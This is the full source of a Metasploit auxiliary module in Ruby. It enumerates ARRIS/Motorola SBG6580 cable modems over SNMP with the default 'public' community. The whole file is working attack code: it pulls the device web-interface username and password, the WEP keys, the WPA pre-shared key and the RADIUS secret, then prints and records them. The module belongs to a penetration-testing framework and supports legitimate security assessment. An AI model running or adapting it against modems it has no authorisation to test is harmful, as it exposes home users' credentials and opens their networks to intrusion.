metasploit-framework/modules/auxiliary/scanner/snmp/sbg6580_enum.rb

316 lines
11 KiB
Ruby

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::SNMPClient
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
def initialize(info = {})
super(update_info(info,
'Name' => 'ARRIS / Motorola SBG6580 Cable Modem SNMP Enumeration Module',
'Description' => 'This module allows SNMP enumeration of the ARRIS / Motorola
SURFboard SBG6580 Series Wi-Fi Cable Modem Gateway. It supports the username
and password for the device user interface as well as wireless network keys
and information.
The default community used is "public".',
'References' =>
[
[ 'URL', 'http://seclists.org/fulldisclosure/2014/May/79' ],
[ 'URL', 'http://www.arrisi.com/modems/datasheet/SBG6580/SBG6580_UserGuide.pdf' ],
[ 'OSVDB', '110555' ]
],
'Author' => 'Matthew Kienow <mkienow[at]inokii.com>',
'License' => MSF_LICENSE
))
# change SNMP version option to match device specification
register_options(
[
OptString.new('VERSION', [ true, 'SNMP Version <1/2c>', '2c' ])
], self.class)
end
def run_host(ip)
begin
snmp = connect_snmp
# represents the order of the output data fields
fields_order = [
"Host IP", "Username", "Password", "SSID", "802.11 Band",
"Network Authentication Mode", "WEP Passphrase", "WEP Encryption",
"WEP Key 1", "WEP Key 2", "WEP Key 3", "WEP Key 4",
"Current Network Key", "WPA Encryption", "WPA Pre-Shared Key (PSK)",
"RADIUS Server", "RADIUS Port", "RADIUS Key"
]
output_data = {"Host IP" => ip}
sys_descr = snmp.get_value('sysDescr.0')
if is_valid_snmp_value(sys_descr) and sys_descr.to_s =~ /SBG6580/
# print connected status after the first query so if there are
# any timeout or connectivity errors; the code would already
# have jumped to error handling where the error status is
# already being displayed.
print_good("#{ip}, Connected.")
# attempt to get the username and password for the device user interface
# using the CableHome cabhPsDevMib MIB module which defines the
# basic management objects for the Portal Services (PS) logical element
# of a CableHome compliant Residential Gateway device
device_ui_selection = snmp.get_value('1.3.6.1.4.1.4491.2.4.1.1.6.1.3.0')
if is_valid_snmp_value(device_ui_selection) and device_ui_selection.to_i == 1
# manufacturerLocal(1) - indicates Portal Services is using the vendor
# web user interface shipped with the device
device_ui_username = snmp.get_value('1.3.6.1.4.1.4491.2.4.1.1.6.1.1.0')
if is_valid_snmp_value(device_ui_username)
output_data["Username"] = device_ui_username.to_s
end
device_ui_password = snmp.get_value('1.3.6.1.4.1.4491.2.4.1.1.6.1.2.0')
if is_valid_snmp_value(device_ui_password)
output_data["Password"] = device_ui_password.to_s
end
end
wifi_ifindex = get_primary_wifi_ifindex(snmp)
if wifi_ifindex < 1
print_status("Primary WiFi is disabled on the device")
end
ssid = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.1.14.1.3.#{wifi_ifindex}")
if is_valid_snmp_value(ssid)
output_data["SSID"] = ssid.to_s
end
wireless_band = snmp.get_value('1.3.6.1.4.1.4413.2.2.2.1.5.1.18.0')
if is_valid_snmp_value(wireless_band)
output_data["802.11 Band"] = get_wireless_band_name(wireless_band.to_i)
end
network_auth_mode = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.1.14.1.5.#{wifi_ifindex}")
if is_valid_snmp_value(network_auth_mode)
network_auth_mode = network_auth_mode.to_i
network_auth_mode_name = get_network_auth_mode_name(network_auth_mode)
output_data["Network Authentication Mode"] = network_auth_mode_name
end
case network_auth_mode
when 1, 6
# WEP, WEP 802.1x Authentication
wep_passphrase = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.1.1.3.#{wifi_ifindex}")
if is_valid_snmp_value(wep_passphrase)
output_data["WEP Passphrase"] = wep_passphrase.to_s
end
wep_encryption = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.1.1.2.#{wifi_ifindex}")
if is_valid_snmp_value(wep_encryption)
wep_encryption = wep_encryption.to_i
else
wep_encryption = -1
end
wep_encryption_name = "Unknown"
wep_key1 = wep_key2 = wep_key3 = wep_key4 = nil
# get appropriate WEP keys based on wep_encryption setting
if wep_encryption == 1
wep_encryption_name = "64-bit"
wep_key1 = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.2.1.2.#{wifi_ifindex}.1")
wep_key2 = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.2.1.2.#{wifi_ifindex}.2")
wep_key3 = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.2.1.2.#{wifi_ifindex}.3")
wep_key4 = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.2.1.2.#{wifi_ifindex}.4")
elsif wep_encryption == 2
wep_encryption_name = "128-bit"
wep_key1 = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.3.1.2.#{wifi_ifindex}.1")
wep_key2 = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.3.1.2.#{wifi_ifindex}.2")
wep_key3 = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.3.1.2.#{wifi_ifindex}.3")
wep_key4 = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.3.1.2.#{wifi_ifindex}.4")
end
output_data["WEP Encryption"] = wep_encryption_name
if is_valid_snmp_value(wep_key1)
output_data["WEP Key 1"] = wep_key1.unpack('H*')[0]
end
if is_valid_snmp_value(wep_key2)
output_data["WEP Key 2"] = wep_key2.unpack('H*')[0]
end
if is_valid_snmp_value(wep_key3)
output_data["WEP Key 3"] = wep_key3.unpack('H*')[0]
end
if is_valid_snmp_value(wep_key4)
output_data["WEP Key 4"] = wep_key4.unpack('H*')[0]
end
# get current network key
current_key = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.1.1.1.#{wifi_ifindex}")
if is_valid_snmp_value(current_key)
output_data["Current Network Key"] = current_key.to_s
end
if network_auth_mode == 6
get_radius_info(snmp, wifi_ifindex, output_data)
end
when 2, 3, 4, 5, 7, 8
# process all flavors of WPA
wpa_encryption = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.4.1.1.#{wifi_ifindex}")
if is_valid_snmp_value(wpa_encryption)
output_data["WPA Encryption"] = get_wpa_encryption_name(wpa_encryption.to_i)
end
wpa_psk = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.4.1.2.#{wifi_ifindex}")
if is_valid_snmp_value(wpa_psk)
output_data["WPA Pre-Shared Key (PSK)"] = wpa_psk.to_s
end
case network_auth_mode
when 4, 5, 8
get_radius_info(snmp, wifi_ifindex, output_data)
end
end
# output
print_line("")
print_status("Device information:\n")
line = ""
width = 30 # name field width
fields_order.each {|k|
if not output_data.has_key?(k)
next
end
v = output_data[k]
if (v.nil? or v.empty? or v =~ /Null/)
v = '-'
end
report_note(
:host => ip,
:proto => 'udp',
:sname => 'snmp',
:port => datastore['RPORT'].to_i,
:type => "snmp.#{k}",
:data => v
)
line << sprintf("%s%s: %s\n", k, " "*([0,width-k.length].max), v)
}
print_line(line)
else
print_error("#{ip} does not appear to be a SBG6580.")
end
rescue SNMP::RequestTimeout
print_error("#{ip} SNMP request timeout.")
rescue Rex::ConnectionError
print_error("#{ip} Connection refused.")
rescue SNMP::InvalidIpAddress
print_error("#{ip} Invalid IP Address. Check it with 'snmpwalk tool'.")
rescue SNMP::UnsupportedVersion
print_error("#{ip} Unsupported SNMP version specified. Select from '1' or '2c'.")
rescue ::Interrupt
raise $!
rescue ::Exception => e
print_error("Unknown error: #{e.class} #{e}")
elog("Unknown error: #{e.class} #{e}")
elog("Call stack:\n#{e.backtrace.join "\n"}")
ensure
disconnect_snmp
end
end
def get_primary_wifi_ifindex(snmp)
# The ifTable contains interface entries where each row represents
# management information for a particular interface. Locate the first
# interface where ifType is 71 (ieee80211) and ifAdminStatus is 1 (up).
wifi_ifindex = 0
ifTable_columns = ["ifIndex", "ifDescr", "ifType", "ifAdminStatus"]
snmp.walk(ifTable_columns) do |ifIndex, ifDescr, ifType, ifAdminStatus|
if (wifi_ifindex < 1 and ifType.value == 71 and ifAdminStatus.value == 1)
wifi_ifindex = ifIndex.value.to_i
end
end
wifi_ifindex
end
def is_valid_snmp_value(value)
if value.nil? or value.to_s =~ /Null/ or value.to_s =~ /^noSuch/
return false
end
return true
end
def get_network_auth_mode_name(network_auth_mode)
case network_auth_mode
when 0
"Open Security"
when 1
"WEP"
when 2
"WPA-PSK"
when 3
"WPA2-PSK"
when 4
"WPA RADIUS"
when 5
"WPA2 RADIUS"
when 6
"WEP 802.1x Authentication"
when 7
"WPA-PSK and WPA2-PSK"
when 8
"WPA and WPA2 RADIUS"
else
"Unknown"
end
end
def get_wireless_band_name(wireless_band)
case wireless_band
when 1
"2.4 Ghz"
when 2
"5 Ghz"
else
"Unknown"
end
end
def get_wpa_encryption_name(wpa_encryption)
case wpa_encryption
when 2
"AES"
when 3
"TKIP+AES"
else
"Unknown"
end
end
def get_radius_info(snmp, wifi_ifindex, output_data)
radius_server = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.5.1.2.#{wifi_ifindex}")
if is_valid_snmp_value(radius_server)
output_data["RADIUS Server"] = radius_server.unpack("C4").join(".")
end
radius_port = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.5.1.3.#{wifi_ifindex}")
if is_valid_snmp_value(radius_port)
output_data["RADIUS Port"] = radius_port.to_s.strip
end
radius_key = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.5.1.4.#{wifi_ifindex}")
if is_valid_snmp_value(radius_key)
output_data["RADIUS Key"] = radius_key.to_s
end
end
end